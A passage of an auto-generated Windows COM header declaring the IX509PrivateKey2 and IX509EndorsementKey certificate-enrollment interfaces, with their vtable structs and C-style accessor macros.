[custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderType )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509ProviderType *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderType )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509ProviderType Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_LegacyCsp )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_LegacyCsp )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Algorithm )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Algorithm )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeySpec )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509KeySpec *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeySpec )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509KeySpec Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Length )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Length )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ExportPolicy )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyExportFlags *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ExportPolicy )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509PrivateKeyExportFlags Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyUsage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyUsageFlags *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyUsage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509PrivateKeyUsageFlags Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyProtection )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyProtection *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyProtection )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509PrivateKeyProtection Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MachineContext )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_MachineContext )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SecurityDescriptor )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SecurityDescriptor )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Certificate )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UniqueContainerName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Opened )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DefaultContainer )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Existing )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Existing )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Pin )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_FriendlyName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Description )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Description )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_HardwareKeyUsage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509HardwareKeyUsageFlags *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_HardwareKeyUsage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509HardwareKeyUsageFlags Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateStorageLocation )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateStorageLocation )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlgorithmName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlgorithmName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlgorithmParameters )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlgorithmParameters )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParametersExportType )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509KeyParametersExportType *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParametersExportType )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509KeyParametersExportType Value);\n        \n        END_INTERFACE\n    } IX509PrivateKey2Vtbl;\n\n    interface IX509PrivateKey2\n    {\n        CONST_VTBL struct IX509PrivateKey2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PrivateKey2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PrivateKey2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PrivateKey2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PrivateKey2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PrivateKey2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PrivateKey2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PrivateKey2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PrivateKey2_Open(This)\t\\\n    ( (This)->lpVtbl -> Open(This) ) \n\n#define IX509PrivateKey2_Create(This)\t\\\n    ( (This)->lpVtbl -> Create(This) ) \n\n#define IX509PrivateKey2_Close(This)\t\\\n    ( (This)->lpVtbl -> Close(This) ) \n\n#define IX509PrivateKey2_Delete(This)\t\\\n    ( (This)->lpVtbl -> Delete(This) ) \n\n#define IX509PrivateKey2_Verify(This,VerifyType)\t\\\n    ( (This)->lpVtbl -> Verify(This,VerifyType) ) \n\n#define IX509PrivateKey2_Import(This,strExportType,strEncodedKey,Encoding)\t\\\n    ( (This)->lpVtbl -> Import(This,strExportType,strEncodedKey,Encoding) ) \n\n#define IX509PrivateKey2_Export(This,strExportType,Encoding,pstrEncodedKey)\t\\\n    ( (This)->lpVtbl -> Export(This,strExportType,Encoding,pstrEncodedKey) ) \n\n#define IX509PrivateKey2_ExportPublicKey(This,ppPublicKey)\t\\\n    ( (This)->lpVtbl -> ExportPublicKey(This,ppPublicKey) ) \n\n#define IX509PrivateKey2_get_ContainerName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ContainerName(This,pValue) ) \n\n#define IX509PrivateKey2_put_ContainerName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ContainerName(This,Value) ) \n\n#define IX509PrivateKey2_get_ContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ContainerNamePrefix(This,pValue) ) \n\n#define IX509PrivateKey2_put_ContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ContainerNamePrefix(This,Value) ) \n\n#define IX509PrivateKey2_get_ReaderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReaderName(This,pValue) ) \n\n#define IX509PrivateKey2_put_ReaderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ReaderName(This,Value) ) \n\n#define IX509PrivateKey2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509PrivateKey2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509PrivateKey2_get_CspStatus(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatus(This,ppValue) ) \n\n#define IX509PrivateKey2_put_CspStatus(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspStatus(This,pValue) ) \n\n#define IX509PrivateKey2_get_ProviderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderName(This,pValue) ) \n\n#define IX509PrivateKey2_put_ProviderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderName(This,Value) ) \n\n#define IX509PrivateKey2_get_ProviderType(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderType(This,pValue) ) \n\n#define IX509PrivateKey2_put_ProviderType(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderType(This,Value) ) \n\n#define IX509PrivateKey2_get_LegacyCsp(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_LegacyCsp(This,pValue) ) \n\n#define IX509PrivateKey2_put_LegacyCsp(This,Value)\t\\\n    ( (This)->lpVtbl -> put_LegacyCsp(This,Value) ) \n\n#define IX509PrivateKey2_get_Algorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Algorithm(This,ppValue) ) \n\n#define IX509PrivateKey2_put_Algorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Algorithm(This,pValue) ) \n\n#define IX509PrivateKey2_get_KeySpec(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeySpec(This,pValue) ) \n\n#define IX509PrivateKey2_put_KeySpec(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeySpec(This,Value) ) \n\n#define IX509PrivateKey2_get_Length(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Length(This,pValue) ) \n\n#define IX509PrivateKey2_put_Length(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Length(This,Value) ) \n\n#define IX509PrivateKey2_get_ExportPolicy(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ExportPolicy(This,pValue) ) \n\n#define IX509PrivateKey2_put_ExportPolicy(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ExportPolicy(This,Value) ) \n\n#define IX509PrivateKey2_get_KeyUsage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyUsage(This,pValue) ) \n\n#define IX509PrivateKey2_put_KeyUsage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyUsage(This,Value) ) \n\n#define IX509PrivateKey2_get_KeyProtection(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyProtection(This,pValue) ) \n\n#define IX509PrivateKey2_put_KeyProtection(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyProtection(This,Value) ) \n\n#define IX509PrivateKey2_get_MachineContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MachineContext(This,pValue) ) \n\n#define IX509PrivateKey2_put_MachineContext(This,Value)\t\\\n    ( (This)->lpVtbl -> put_MachineContext(This,Value) ) \n\n#define IX509PrivateKey2_get_SecurityDescriptor(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SecurityDescriptor(This,pValue) ) \n\n#define IX509PrivateKey2_put_SecurityDescriptor(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SecurityDescriptor(This,Value) ) \n\n#define IX509PrivateKey2_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509PrivateKey2_put_Certificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_Certificate(This,Encoding,Value) ) \n\n#define IX509PrivateKey2_get_UniqueContainerName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UniqueContainerName(This,pValue) ) \n\n#define IX509PrivateKey2_get_Opened(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Opened(This,pValue) ) \n\n#define IX509PrivateKey2_get_DefaultContainer(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DefaultContainer(This,pValue) ) \n\n#define IX509PrivateKey2_get_Existing(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Existing(This,pValue) ) \n\n#define IX509PrivateKey2_put_Existing(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Existing(This,Value) ) \n\n#define IX509PrivateKey2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509PrivateKey2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509PrivateKey2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509PrivateKey2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509PrivateKey2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509PrivateKey2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509PrivateKey2_put_Pin(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Pin(This,Value) ) \n\n#define IX509PrivateKey2_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#define IX509PrivateKey2_put_FriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_FriendlyName(This,Value) ) \n\n#define IX509PrivateKey2_get_Description(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Description(This,pValue) ) \n\n#define IX509PrivateKey2_put_Description(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Description(This,Value) ) \n\n\n#define IX509PrivateKey2_get_HardwareKeyUsage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_HardwareKeyUsage(This,pValue) ) \n\n#define IX509PrivateKey2_put_HardwareKeyUsage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_HardwareKeyUsage(This,Value) ) \n\n#define IX509PrivateKey2_get_AlternateStorageLocation(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateStorageLocation(This,pValue) ) \n\n#define IX509PrivateKey2_put_AlternateStorageLocation(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateStorageLocation(This,Value) ) \n\n#define IX509PrivateKey2_get_AlgorithmName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlgorithmName(This,pValue) ) \n\n#define IX509PrivateKey2_put_AlgorithmName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlgorithmName(This,Value) ) \n\n#define IX509PrivateKey2_get_AlgorithmParameters(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlgorithmParameters(This,Encoding,pValue) ) \n\n#define IX509PrivateKey2_put_AlgorithmParameters(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_AlgorithmParameters(This,Encoding,Value) ) \n\n#define IX509PrivateKey2_get_ParametersExportType(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParametersExportType(This,pValue) ) \n\n#define IX509PrivateKey2_put_ParametersExportType(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParametersExportType(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PrivateKey2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509EndorsementKey_INTERFACE_DEFINED__\n#define __IX509EndorsementKey_INTERFACE_DEFINED__\n\n/* interface IX509EndorsementKey */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EndorsementKey;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"B11CD855-F4C4-4FC6-B710-4422237F09E9\")\n    IX509EndorsementKey : public IDispatch\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ProviderName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ProviderName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Length( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Opened( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddCertificate( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RemoveCertificate( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCertificateByIndex( \n            /* [in] */ VARIANT_BOOL ManufacturerOnly,\n            /* [in] */ LONG dwIndex,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCertificateCount( \n            /* [in] */ VARIANT_BOOL ManufacturerOnly,\n            /* [retval][out] */ __RPC__out LONG *pCount) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ExportPublicKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Open( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Close( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EndorsementKeyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EndorsementKey * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EndorsementKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EndorsementKey * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderName )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderName )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Length )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Opened )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddCertificate )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveCertificate )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCertificateByIndex )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ VARIANT_BOOL ManufacturerOnly,\n            /* [in] */ LONG dwIndex,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCertificateCount )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [in] */ VARIANT_BOOL ManufacturerOnly,\n            /* [retval][out] */ __RPC__out LONG *pCount);\n        \n        HRESULT ( STDMETHODCALLTYPE *ExportPublicKey )( \n            __RPC__in IX509EndorsementKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey);\n        \n        HRESULT ( STDMETHODCALLTYPE *Open )( \n            __RPC__in IX509EndorsementKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Close )( \n            __RPC__in IX509EndorsementKey * This);\n        \n        END_INTERFACE\n    } IX509EndorsementKeyVtbl;\n\n    interface IX509EndorsementKey\n    {\n        CONST_VTBL struct IX509EndorsementKeyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EndorsementKey_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EndorsementKey_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EndorsementKey_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EndorsementKey_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EndorsementKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EndorsementKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EndorsementKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EndorsementKey_get_ProviderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderName(This,pValue) ) \n\n#define IX509EndorsementKey_put_ProviderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderName(This,Value) ) \n\n#define IX509EndorsementKey_get_Length(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Length(This,pValue) ) \n\n#define IX509EndorsementKey_get_Opened(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Opened(This,pValue) ) \n\n#define IX509EndorsementKey_AddCertificate(This,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> AddCertificate(This,Encoding,strCertificate) ) \n\n#define IX509EndorsementKey_RemoveCertificate(This,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveCertificate(This,Encoding,strCertificate) ) \n\n#define IX509EndorsementKey_GetCertificateByIndex(This,ManufacturerOnly,dwIndex,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> 